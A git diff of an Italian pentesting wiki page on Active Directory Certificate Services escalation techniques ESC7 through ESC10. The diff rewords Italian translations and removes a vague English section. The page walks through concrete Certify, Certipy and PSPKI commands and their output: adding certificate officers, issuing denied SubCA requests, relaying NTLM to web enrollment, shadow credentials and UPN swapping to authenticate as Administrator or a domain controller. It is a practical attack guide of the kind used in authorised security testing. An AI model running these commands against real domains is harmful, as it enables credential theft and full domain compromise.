||||
|
||||
## Controllo degli accessi vulnerabili all'Autorità di Certificazione - ESC7
|
||||
## Controllo di Accesso Vulnerabile all'Autorità di Certificazione - ESC7
|
||||
|
||||
### Attacco 1
|
||||
|
||||
#### Spiegazione
|
||||
|
||||
Il controllo degli accessi per un'autorità di certificazione è gestito attraverso un insieme di autorizzazioni che regolano le azioni della CA. Queste autorizzazioni possono essere visualizzate accedendo a `certsrv.msc`, facendo clic con il pulsante destro del mouse su una CA, selezionando Proprietà e quindi passando alla scheda Sicurezza. Inoltre, le autorizzazioni possono essere enumerate utilizzando il modulo PSPKI con comandi come:
|
||||
Il controllo di accesso per un'autorità di certificazione è mantenuto attraverso un insieme di autorizzazioni che regolano le azioni della CA. Queste autorizzazioni possono essere visualizzate accedendo a `certsrv.msc`, facendo clic con il tasto destro su una CA, selezionando Proprietà e quindi navigando nella scheda Sicurezza. Inoltre, le autorizzazioni possono essere enumerate utilizzando il modulo PSPKI con comandi come:
|
||||
```bash
|
||||
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
||||
```
|
||||
Questo fornisce informazioni sui diritti primari, ovvero **`ManageCA`** e **`ManageCertificates`**, correlati ai ruoli di "amministratore CA" e "gestore certificati" rispettivamente.
|
||||
Questo fornisce approfondimenti sui diritti principali, ovvero **`ManageCA`** e **`ManageCertificates`**, correlati ai ruoli di "amministratore CA" e "Gestore certificati" rispettivamente.
|
||||
|
||||
#### Abuso
|
||||
|
||||
Avere i diritti **`ManageCA`** su un'autorità di certificazione consente al principale di manipolare le impostazioni in remoto utilizzando PSPKI. Ciò include l'attivazione del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** per consentire la specifica di SAN in qualsiasi modello, un aspetto critico dell'escalation di dominio.
|
||||
Avere i diritti **`ManageCA`** su un'autorità di certificazione consente al principale di manipolare le impostazioni a distanza utilizzando PSPKI. Ciò include la commutazione del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** per consentire la specifica SAN in qualsiasi modello, un aspetto critico dell'escalation di dominio.
|
||||
|
||||
La semplificazione di questo processo è possibile utilizzando il cmdlet **Enable-PolicyModuleFlag** di PSPKI, consentendo modifiche senza interazione diretta con l'interfaccia grafica.
|
||||
La semplificazione di questo processo è realizzabile tramite l'uso del cmdlet **Enable-PolicyModuleFlag** di PSPKI, consentendo modifiche senza interazione diretta con l'interfaccia grafica.
|
||||
|
||||
Il possesso dei diritti **`ManageCertificates`** facilita l'approvazione delle richieste in sospeso, eludendo efficacemente la protezione "approvazione del gestore certificati CA".
|
||||
|
||||
È possibile utilizzare una combinazione dei moduli **Certify** e **PSPKI** per richiedere, approvare e scaricare un certificato:
|
||||
Una combinazione dei moduli **Certify** e **PSPKI** può essere utilizzata per richiedere, approvare e scaricare un certificato:
|
||||
```powershell
|
||||
# Request a certificate that will require an approval
|
||||
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
|
||||
|
@ -265,10 +270,10 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
|||
#### Spiegazione
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nell'**attacco precedente** sono state utilizzate le autorizzazioni **`Manage CA`** per **abilitare** il flag **EDITF\_ATTRIBUTESUBJECTALTNAME2** per eseguire l'attacco **ESC6**, ma ciò non avrà alcun effetto fino a quando il servizio CA (`CertSvc`) non verrà riavviato. Quando un utente ha il diritto di accesso `Manage CA`, l'utente è anche autorizzato a **riavviare il servizio**. Tuttavia, ciò **non significa che l'utente possa riavviare il servizio in remoto**. Inoltre, **ESC6 potrebbe non funzionare immediatamente** nella maggior parte degli ambienti patchati a causa degli aggiornamenti di sicurezza di maggio 2022.
|
||||
Nell'**attacco precedente** sono state utilizzate le autorizzazioni **`Manage CA`** per **abilitare** il flag **EDITF\_ATTRIBUTESUBJECTALTNAME2** per eseguire l'attacco **ESC6**, ma ciò non avrà alcun effetto fino a quando il servizio CA (`CertSvc`) non verrà riavviato. Quando un utente ha il diritto di accesso `Manage CA`, all'utente è anche consentito **riavviare il servizio**. Tuttavia, ciò **non significa che l'utente possa riavviare il servizio in remoto**. Inoltre, **ESC6 potrebbe non funzionare immediatamente** nella maggior parte degli ambienti aggiornati a causa degli aggiornamenti di sicurezza di maggio 2022.
|
||||
{% endhint %}
|
||||
|
||||
Pertanto, viene presentato un altro attacco.
|
||||
Pertanto, qui viene presentato un altro attacco.
|
||||
|
||||
Prerequisiti:
|
||||
|
||||
|
@ -276,18 +281,18 @@ Prerequisiti:
|
|||
* Autorizzazione **`Manage Certificates`** (può essere concessa da **`ManageCA`**)
|
||||
* Il modello di certificato **`SubCA`** deve essere **abilitato** (può essere abilitato da **`ManageCA`**)
|
||||
|
||||
La tecnica si basa sul fatto che gli utenti con il diritto di accesso `Manage CA` _e_ `Manage Certificates` possono **emettere richieste di certificato fallite**. Il modello di certificato **`SubCA`** è **vulnerabile a ESC1**, ma **solo gli amministratori** possono iscriversi al modello. Pertanto, un **utente** può **richiedere** di iscriversi al **`SubCA`** - che verrà **rifiutato** - ma **successivamente emesso dal responsabile**.
|
||||
La tecnica si basa sul fatto che gli utenti con il diritto di accesso `Manage CA` _e_ `Manage Certificates` possono **emettere richieste di certificato fallite**. Il modello di certificato **`SubCA`** è **vulnerabile a ESC1**, ma **solo gli amministratori** possono iscriversi al modello. Pertanto, un **utente** può **richiedere** di iscriversi alla **`SubCA`** - che verrà **negata** - ma **successivamente emessa dal responsabile**.
|
||||
|
||||
#### Abuso
|
||||
|
||||
Puoi **concederti l'accesso `Manage Certificates`** aggiungendo il tuo utente come nuovo ufficiale.
|
||||
Puoi **concederti l'accesso a `Manage Certificates`** aggiungendo il tuo utente come nuovo ufficiale.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully added officer 'John' on 'corp-DC-CA'
|
||||
```
|
||||
Il modello **`SubCA`** può essere **abilitato sulla CA** con il parametro `-enable-template`. Per impostazione predefinita, il modello `SubCA` è abilitato.
|
||||
Il modello **`SubCA`** può essere **abilitato sul CA** con il parametro `-enable-template`. Per impostazione predefinita, il modello `SubCA` è abilitato.
|
||||
```bash
|
||||
# List templates
|
||||
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
|
||||
|
@ -299,7 +304,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
|
||||
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
|
||||
```
|
||||
Se abbiamo soddisfatto i prerequisiti per questo attacco, possiamo iniziare **richiedendo un certificato basato sul modello `SubCA`**.
|
||||
Se abbiamo soddisfatto i prerequisiti per questo attacco, possiamo iniziare richiedendo un certificato basato sul modello `SubCA`.
|
||||
|
||||
**Questa richiesta verrà rifiutata**, ma salveremo la chiave privata e annoteremo l'ID della richiesta.
|
||||
```bash
|
||||
|
@ -332,28 +337,28 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
[*] Loaded private key from '785.key'
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
```
|
||||
## NTLM Relay agli endpoint HTTP di AD CS - ESC8
|
||||
## NTLM Relay agli Endpoint HTTP di AD CS - ESC8
|
||||
|
||||
### Spiegazione
|
||||
|
||||
{% hint style="info" %}
|
||||
In ambienti in cui è installato **AD CS**, se esiste un **endpoint di registrazione web vulnerabile** e almeno un **modello di certificato è pubblicato** che consente la **registrazione del computer di dominio e l'autenticazione del client** (come il modello predefinito **`Machine`**), diventa possibile per **qualsiasi computer con il servizio spooler attivo essere compromesso da un attaccante**!
|
||||
In ambienti in cui è installato **AD CS**, se esiste un **endpoint di registrazione web vulnerabile** e almeno un **modello di certificato è pubblicato** che consente **la registrazione del computer di dominio e l'autenticazione del client** (come ad esempio il modello predefinito **`Machine`**), diventa possibile che **qualsiasi computer con il servizio spooler attivo possa essere compromesso da un attaccante**!
|
||||
{% endhint %}
|
||||
|
||||
Sono supportati diversi **metodi di registrazione basati su HTTP** da AD CS, resi disponibili attraverso ruoli server aggiuntivi che gli amministratori possono installare. Queste interfacce per la registrazione dei certificati basata su HTTP sono suscettibili ad **attacchi di relay NTLM**. Un attaccante, da una **macchina compromessa, può impersonare qualsiasi account AD che si autentica tramite NTLM in ingresso**. Mentre si finge di essere l'account della vittima, queste interfacce web possono essere accessibili da un attaccante per **richiedere un certificato di autenticazione del client utilizzando i modelli di certificato `User` o `Machine`**.
|
||||
Diversi **metodi di registrazione basati su HTTP** sono supportati da AD CS, resi disponibili attraverso ruoli server aggiuntivi che gli amministratori possono installare. Queste interfacce per la registrazione del certificato basata su HTTP sono suscettibili agli **attacchi di relay NTLM**. Un attaccante, da una **macchina compromessa, può impersonare qualsiasi account AD che si autentica tramite NTLM in ingresso**. Mentre impersona l'account della vittima, questi interfacce web possono essere accessibili da un attaccante per **richiedere un certificato di autenticazione del client utilizzando i modelli di certificato `User` o `Machine`**.
|
||||
|
||||
* L'**interfaccia di registrazione web** (un'applicazione ASP più vecchia disponibile su `http://<caserver>/certsrv/`), di default supporta solo HTTP, il che non offre protezione contro gli attacchi di relay NTLM. Inoltre, permette esplicitamente solo l'autenticazione NTLM tramite l'intestazione HTTP di autorizzazione, rendendo metodi di autenticazione più sicuri come Kerberos inapplicabili.
|
||||
* Il **Servizio di Registrazione dei Certificati** (CES), il **Servizio Web di Politica di Registrazione dei Certificati** (CEP) e il **Servizio di Registrazione Dispositivi di Rete** (NDES) di default supportano l'autenticazione negoziata tramite l'intestazione HTTP di autorizzazione. L'autenticazione negoziata **supporta sia** Kerberos che **NTLM**, consentendo a un attaccante di **ridurre a NTLM** l'autenticazione durante gli attacchi di relay. Sebbene questi servizi web abilitino HTTPS di default, HTTPS da solo **non protegge dagli attacchi di relay NTLM**. La protezione dagli attacchi di relay NTLM per i servizi HTTPS è possibile solo quando HTTPS è combinato con il binding del canale. Purtroppo, AD CS non attiva Extended Protection for Authentication su IIS, che è richiesto per il binding del canale.
|
||||
* L'**interfaccia di registrazione web** (una vecchia applicazione ASP disponibile su `http://<caserver>/certsrv/`), predefinita solo per HTTP, che non offre protezione contro gli attacchi di relay NTLM. Inoltre, permette esplicitamente solo l'autenticazione NTLM attraverso l'intestazione HTTP di autorizzazione, rendendo inapplicabili metodi di autenticazione più sicuri come Kerberos.
|
||||
* Il **Servizio di Registrazione del Certificato** (CES), il **Servizio Web di Politica di Registrazione del Certificato** (CEP) e il **Servizio di Registrazione Dispositivo di Rete** (NDES) supportano per impostazione predefinita l'autenticazione negoziata tramite l'intestazione HTTP di autorizzazione. L'autenticazione negoziata **supporta sia** Kerberos che **NTLM**, consentendo a un attaccante di **declassare a NTLM** durante gli attacchi di relay. Anche se questi servizi web abilitano HTTPS per impostazione predefinita, l'HTTPS da solo **non protegge dagli attacchi di relay NTLM**. La protezione dagli attacchi di relay NTLM per i servizi HTTPS è possibile solo quando l'HTTPS è combinato con il binding del canale. Purtroppo, AD CS non attiva la Protezione Estesa per l'Autenticazione su IIS, che è richiesta per il binding del canale.
|
||||
|
||||
Un **problema** comune con gli attacchi di relay NTLM è la **breve durata delle sessioni NTLM** e l'incapacità dell'attaccante di interagire con i servizi che **richiedono la firma NTLM**.
|
||||
Un **problema** comune degli attacchi di relay NTLM è la **breve durata delle sessioni NTLM** e l'incapacità dell'attaccante di interagire con i servizi che **richiedono la firma NTLM**.
|
||||
|
||||
Tuttavia, questa limitazione viene superata sfruttando un attacco di relay NTLM per acquisire un certificato per l'utente, poiché il periodo di validità del certificato determina la durata della sessione e il certificato può essere utilizzato con servizi che **richiedono la firma NTLM**. Per istruzioni su come utilizzare un certificato rubato, fare riferimento a:
|
||||
Tuttavia, questa limitazione viene superata sfruttando un attacco di relay NTLM per acquisire un certificato per l'utente, poiché il periodo di validità del certificato determina la durata della sessione e il certificato può essere utilizzato con servizi che **richiedono la firma NTLM**. Per istruzioni sull'utilizzo di un certificato rubato, fare riferimento a:
|
||||
|
||||
{% content-ref url="account-persistence.md" %}
|
||||
[account-persistence.md](account-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Un'altra limitazione degli attacchi di relay NTLM è che **una macchina controllata dall'attaccante deve essere autenticata da un account della vittima**. L'attaccante potrebbe aspettare o cercare di **forzare** questa autenticazione:
|
||||
Un'altra limitazione degli attacchi di relay NTLM è che **una macchina controllata dall'attaccante deve essere autenticata da un account vittima**. L'attaccante potrebbe aspettare o tentare di **forzare** questa autenticazione:
|
||||
|
||||
{% content-ref url="../printers-spooler-service-abuse.md" %}
|
||||
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
|
||||
|
@ -361,46 +366,24 @@ Un'altra limitazione degli attacchi di relay NTLM è che **una macchina controll
|
|||
|
||||
### **Abuso**
|
||||
|
||||
[**Certify**](https://github.com/GhostPack/Certify)'s `cas` enumera gli **endpoint HTTP AD CS abilitati**:
|
||||
[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumera **gli endpoint HTTP di AD CS abilitati**:
|
||||
```
|
||||
Certify.exe cas
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (69).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
La proprietà `msPKI-Enrollment-Servers` viene utilizzata dalle Autorità di Certificazione (CA) aziendali per archiviare gli endpoint del servizio di registrazione dei certificati (CES). Questi endpoint possono essere analizzati e elencati utilizzando lo strumento **Certutil.exe**:
|
||||
La proprietà `msPKI-Enrollment-Servers` viene utilizzata dalle Autorità di Certificazione (CA) aziendali per memorizzare gli endpoint del servizio di registrazione dei certificati (CES). Questi endpoint possono essere analizzati e elencati utilizzando lo strumento **Certutil.exe**:
|
||||
```
|
||||
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (754).png" alt=""><figcaption></figcaption></figure>
|
||||
```powershell
|
||||
Import-Module PSPKI
|
||||
Get-CertificationAuthority | select Name,Enroll* | Format-List *
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (937).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Abuso con Certify
|
||||
|
||||
Certify is a tool that allows you to request and manage SSL/TLS certificates. It can be abused in an Active Directory environment to escalate privileges and gain unauthorized access.
|
||||
|
||||
##### 1. Obtain a certificate signing request (CSR)
|
||||
|
||||
First, you need to generate a certificate signing request (CSR) using Certify. This can be done by selecting the desired certificate template and providing the necessary information.
|
||||
|
||||
##### 2. Submit the CSR to the Certificate Authority (CA)
|
||||
|
||||
Next, you need to submit the CSR to the Certificate Authority (CA) for signing. This can be done using Certify or any other tool that supports certificate signing.
|
||||
|
||||
##### 3. Import the signed certificate
|
||||
|
||||
Once the certificate is signed by the CA, you need to import it into the Active Directory environment. This can be done using Certify or the Certificate MMC snap-in.
|
||||
|
||||
##### 4. Assign permissions to the certificate
|
||||
|
||||
To escalate privileges, you need to assign permissions to the certificate that allow you to impersonate other users or perform other malicious actions. This can be done using Certify or the Certificate MMC snap-in.
|
||||
|
||||
##### 5. Use the certificate for unauthorized access
|
||||
|
||||
Finally, you can use the certificate to authenticate and gain unauthorized access to resources in the Active Directory environment. This can be done by configuring applications or services to use the certificate for authentication.
|
||||
|
||||
It is important to note that abusing Certify requires administrative privileges in the Active Directory environment. Therefore, it is crucial to secure the administrative accounts and limit access to the Certify tool to prevent unauthorized abuse.
|
||||
```bash
|
||||
## In the victim machine
|
||||
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
|
||||
|
@ -417,9 +400,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
|
|||
```
|
||||
#### Abuso con [Certipy](https://github.com/ly4k/Certipy)
|
||||
|
||||
La richiesta di un certificato viene effettuata da Certipy di default basandosi sul modello `Machine` o `User`, determinato dal fatto che il nome dell'account inoltrato termini con `$`. La specifica di un modello alternativo può essere ottenuta tramite l'utilizzo del parametro `-template`.
|
||||
La richiesta di un certificato viene effettuata da Certipy per impostazione predefinita in base al modello `Machine` o `User`, determinato dal fatto che il nome dell'account inoltrato termini con `$`. La specifica di un modello alternativo può essere ottenuta tramite l'uso del parametro `-template`.
|
||||
|
||||
Una tecnica come [PetitPotam](https://github.com/ly4k/PetitPotam) può quindi essere utilizzata per costringere l'autenticazione. Quando si tratta di controller di dominio, è necessaria la specifica di `-template DomainController`.
|
||||
Una tecnica come [PetitPotam](https://github.com/ly4k/PetitPotam) può quindi essere impiegata per costringere l'autenticazione. Quando si tratta di controller di dominio, è richiesta la specifica di `-template DomainController`.
|
||||
```bash
|
||||
certipy relay -ca ca.corp.local
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
@ -432,54 +415,55 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
[*] Exiting...
|
||||
```
|
||||
## No Security Extension - ESC9 <a href="#5485" id="5485"></a>
|
||||
## Nessuna estensione di sicurezza - ESC9 <a href="#id-5485" id="id-5485"></a>
|
||||
|
||||
### Spiegazione
|
||||
|
||||
Il nuovo valore **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) per **`msPKI-Enrollment-Flag`**, chiamato ESC9, impedisce l'inclusione dell'**estensione di sicurezza `szOID_NTDS_CA_SECURITY_EXT`** in un certificato. Questo flag diventa rilevante quando `StrongCertificateBindingEnforcement` è impostato su `1` (impostazione predefinita), a differenza dell'impostazione `2`. La sua rilevanza aumenta in scenari in cui potrebbe essere sfruttato un mapping di certificati più debole per Kerberos o Schannel (come in ESC10), dato che l'assenza di ESC9 non altererebbe i requisiti.
|
||||
Il nuovo valore **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) per **`msPKI-Enrollment-Flag`**, noto come ESC9, impedisce l'incorporazione della **nuova estensione di sicurezza `szOID_NTDS_CA_SECURITY_EXT`** in un certificato. Questo flag diventa rilevante quando `StrongCertificateBindingEnforcement` è impostato su `1` (impostazione predefinita), in contrasto con un'impostazione di `2`. La sua importanza aumenta in scenari in cui potrebbe essere sfruttato un mapping di certificati più debole per Kerberos o Schannel (come in ESC10), dato che l'assenza di ESC9 non altererebbe i requisiti.
|
||||
|
||||
Le condizioni in cui l'impostazione di questo flag diventa significativa includono:
|
||||
- `StrongCertificateBindingEnforcement` non è impostato su `2` (con l'impostazione predefinita su `1`), o `CertificateMappingMethods` include il flag `UPN`.
|
||||
- Il certificato è contrassegnato con il flag `CT_FLAG_NO_SECURITY_EXTENSION` nell'impostazione `msPKI-Enrollment-Flag`.
|
||||
- Il certificato specifica qualsiasi EKU di autenticazione del client.
|
||||
|
||||
- `StrongCertificateBindingEnforcement` non è regolato su `2` (con il valore predefinito di `1`), o `CertificateMappingMethods` include il flag `UPN`.
|
||||
- Il certificato è contrassegnato con il flag `CT_FLAG_NO_SECURITY_EXTENSION` all'interno dell'impostazione `msPKI-Enrollment-Flag`.
|
||||
- Qualsiasi EKU di autenticazione del client è specificato nel certificato.
|
||||
- Sono disponibili le autorizzazioni `GenericWrite` su qualsiasi account per comprometterne un altro.
|
||||
|
||||
### Scenario di abuso
|
||||
|
||||
Supponiamo che `John@corp.local` abbia le autorizzazioni `GenericWrite` su `Jane@corp.local`, con l'obiettivo di compromettere `Administrator@corp.local`. Il modello di certificato `ESC9`, a cui `Jane@corp.local` ha il permesso di iscriversi, è configurato con il flag `CT_FLAG_NO_SECURITY_EXTENSION` nell'impostazione `msPKI-Enrollment-Flag`.
|
||||
Supponiamo che `John@corp.local` detenga le autorizzazioni `GenericWrite` su `Jane@corp.local`, con l'obiettivo di compromettere `Administrator@corp.local`. Il modello di certificato `ESC9`, che `Jane@corp.local` è autorizzata ad iscriversi, è configurato con il flag `CT_FLAG_NO_SECURITY_EXTENSION` nelle sue impostazioni `msPKI-Enrollment-Flag`.
|
||||
|
||||
Inizialmente, l'hash di `Jane` viene acquisito utilizzando le Credenziali Shadow, grazie al `GenericWrite` di `John`:
|
||||
Inizialmente, l'hash di `Jane` viene acquisito utilizzando le Credenziali Ombra, grazie al `GenericWrite` di `John`:
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||
```
|
||||
Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo intenzionalmente la parte di dominio `@corp.local`:
|
||||
Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo deliberatamente la parte di dominio `@corp.local`:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
Questa modifica non viola i vincoli, dato che `Administrator@corp.local` rimane distinto come `userPrincipalName` di `Administrator`.
|
||||
Questa modifica non viola vincoli, dato che `Administrator@corp.local` rimane distinto come `userPrincipalName` di `Administrator`.
|
||||
|
||||
Successivamente, il modello di certificato `ESC9`, contrassegnato come vulnerabile, viene richiesto come `Jane`:
|
||||
Seguendo questo, il modello di certificato `ESC9`, contrassegnato come vulnerabile, viene richiesto come `Jane`:
|
||||
```bash
|
||||
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
|
||||
```
|
||||
È noto che il `userPrincipalName` del certificato riflette `Administrator`, senza alcun "object SID".
|
||||
È notato che il `userPrincipalName` del certificato riflette `Administrator`, privo di alcun "object SID".
|
||||
|
||||
Il `userPrincipalName` di `Jane` viene quindi ripristinato al suo originale, `Jane@corp.local`:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
Sto cercando di autenticarmi con il certificato emesso, ottenendo l'hash NT di `Administrator@corp.local`. Il comando deve includere `-domain <dominio>` a causa della mancanza di specifica del dominio nel certificato:
|
||||
Provare l'autenticazione con il certificato emesso restituisce ora l'hash NT di `Administrator@corp.local`. Il comando deve includere `-domain <domain>` a causa della mancanza di specifica del dominio nel certificato:
|
||||
```bash
|
||||
certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
```
|
||||
## Mappature deboli dei certificati - ESC10
|
||||
## Mapping certificati deboli - ESC10
|
||||
|
||||
### Spiegazione
|
||||
|
||||
Due valori delle chiavi di registro sul controller di dominio sono indicati da ESC10:
|
||||
Due valori del registro sul controller di dominio sono menzionati da ESC10:
|
||||
|
||||
- Il valore predefinito per `CertificateMappingMethods` sotto `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` è `0x18` (`0x8 | 0x10`), precedentemente impostato su `0x1F`.
|
||||
- L'impostazione predefinita per `StrongCertificateBindingEnforcement` sotto `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` è `1`, precedentemente `0`.
|
||||
* Il valore predefinito per `CertificateMappingMethods` sotto `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` è `0x18` (`0x8 | 0x10`), precedentemente impostato su `0x1F`.
|
||||
* L'impostazione predefinita per `StrongCertificateBindingEnforcement` sotto `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` è `1`, precedentemente `0`.
|
||||
|
||||
**Caso 1**
|
||||
|
||||
|
@ -491,43 +475,43 @@ Se `CertificateMappingMethods` include il bit `UPN` (`0x4`).
|
|||
|
||||
### Caso di abuso 1
|
||||
|
||||
Con `StrongCertificateBindingEnforcement` configurato come `0`, un account A con permessi di `GenericWrite` può essere sfruttato per compromettere qualsiasi account B.
|
||||
Con `StrongCertificateBindingEnforcement` configurato come `0`, un account A con permessi `GenericWrite` può essere sfruttato per compromettere qualsiasi account B.
|
||||
|
||||
Ad esempio, avendo i permessi di `GenericWrite` su `Jane@corp.local`, un attaccante mira a compromettere `Administrator@corp.local`. La procedura è simile a ESC9, consentendo l'utilizzo di qualsiasi modello di certificato.
|
||||
Ad esempio, avendo i permessi `GenericWrite` su `Jane@corp.local`, un attaccante mira a compromettere `Administrator@corp.local`. La procedura riflette ESC9, consentendo l'utilizzo di qualsiasi modello di certificato.
|
||||
|
||||
Inizialmente, l'hash di `Jane` viene recuperato utilizzando le credenziali Shadow, sfruttando il `GenericWrite`.
|
||||
Inizialmente, l'hash di `Jane` viene recuperato utilizzando le Credenziali Ombra, sfruttando il `GenericWrite`.
|
||||
```bash
|
||||
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
|
||||
```
|
||||
Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo deliberatamente la parte `@corp.local` per evitare una violazione di vincolo.
|
||||
Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, deliberatamente omettendo la parte `@corp.local` per evitare una violazione di vincolo.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
Successivamente, viene richiesto un certificato che abilita l'autenticazione del client come `Jane`, utilizzando il modello predefinito `User`.
|
||||
Di seguito, viene richiesto un certificato che abilita l'autenticazione del client come `Jane`, utilizzando il modello predefinito `User`.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
Il `userPrincipalName` di `Jane` viene quindi ripristinato al suo valore originale, `Jane@corp.local`.
|
||||
`userPrincipalName` di `Jane` viene quindi ripristinato al suo valore originale, `Jane@corp.local`.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
L'autenticazione con il certificato ottenuto restituirà l'hash NT di `Administrator@corp.local`, rendendo necessaria la specifica del dominio nel comando a causa dell'assenza di dettagli di dominio nel certificato.
|
||||
L'autenticazione con il certificato ottenuto restituirà l'hash NT di `Administrator@corp.local`, rendendo necessaria la specifica del dominio nel comando a causa dell'assenza dei dettagli del dominio nel certificato.
|
||||
```bash
|
||||
certipy auth -pfx administrator.pfx -domain corp.local
|
||||
```
|
||||
### Caso di abuso 2
|
||||
### Caso di Abuso 2
|
||||
|
||||
Con il flag `UPN` (`0x4`) presente nel campo `CertificateMappingMethods`, un account A con permessi di `GenericWrite` può compromettere qualsiasi account B che non abbia una proprietà `userPrincipalName`, inclusi gli account delle macchine e l'amministratore del dominio incorporato `Administrator`.
|
||||
Con il `CertificateMappingMethods` che contiene il flag `UPN` (`0x4`), un account A con permessi `GenericWrite` può compromettere qualsiasi account B che non abbia una proprietà `userPrincipalName`, inclusi gli account macchina e l'amministratore del dominio incorporato `Administrator`.
|
||||
|
||||
In questo caso, l'obiettivo è compromettere `DC$@corp.local`, partendo dall'ottenimento dell'hash di `Jane` tramite le credenziali Shadow, sfruttando il `GenericWrite`.
|
||||
Qui, l'obiettivo è compromettere `DC$@corp.local`, iniziando con l'ottenimento dell'hash di `Jane` tramite le Credenziali Ombra, sfruttando il `GenericWrite`.
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||
```
|
||||
Il `userPrincipalName` di `Jane` viene quindi impostato su `DC$@corp.local`.
|
||||
`userPrincipalName` di `Jane` viene quindi impostato su `DC$@corp.local`.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
|
||||
```
|
||||
Viene richiesto un certificato per l'autenticazione del client come `Jane` utilizzando il modello predefinito `User`.
|
||||
Un certificato per l'autenticazione del client viene richiesto come `Jane` utilizzando il modello predefinito `User`.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
|
@ -539,36 +523,21 @@ Per autenticarsi tramite Schannel, viene utilizzata l'opzione `-ldap-shell` di C
|
|||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
Attraverso la shell LDAP, comandi come `set_rbcd` consentono attacchi di Delega Vincolata basata su risorse (RBCD), compromettendo potenzialmente il controller di dominio.
|
||||
Attraverso la shell LDAP, comandi come `set_rbcd` abilitano gli attacchi di Delega Vincolata basata su Risorse (RBCD), compromettendo potenzialmente il controller di dominio.
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
Questa vulnerabilità si estende anche a qualsiasi account utente privo di `userPrincipalName` o in cui non corrisponde al `sAMAccountName`, con il valore predefinito `Administrator@corp.local` che rappresenta un obiettivo principale a causa dei suoi privilegi LDAP elevati e dell'assenza di un `userPrincipalName` di default.
|
||||
Questa vulnerabilità si estende anche a qualsiasi account utente privo di un `userPrincipalName` o in cui non corrisponde al `sAMAccountName`, con il `Administrator@corp.local` predefinito che è un obiettivo principale a causa dei suoi privilegi LDAP elevati e dell'assenza di un `userPrincipalName` per impostazione predefinita.
|
||||
|
||||
## Compromissione delle Foreste con Certificati Spiegata in Voce Passiva
|
||||
|
||||
## Compromettere le Foreste con Certificati Spiegato in Voce Passiva
|
||||
### Rottura delle Trust delle Foreste da parte di CA Compromesse
|
||||
|
||||
### Rottura delle Trust delle Foreste tramite CA Compromesse
|
||||
|
||||
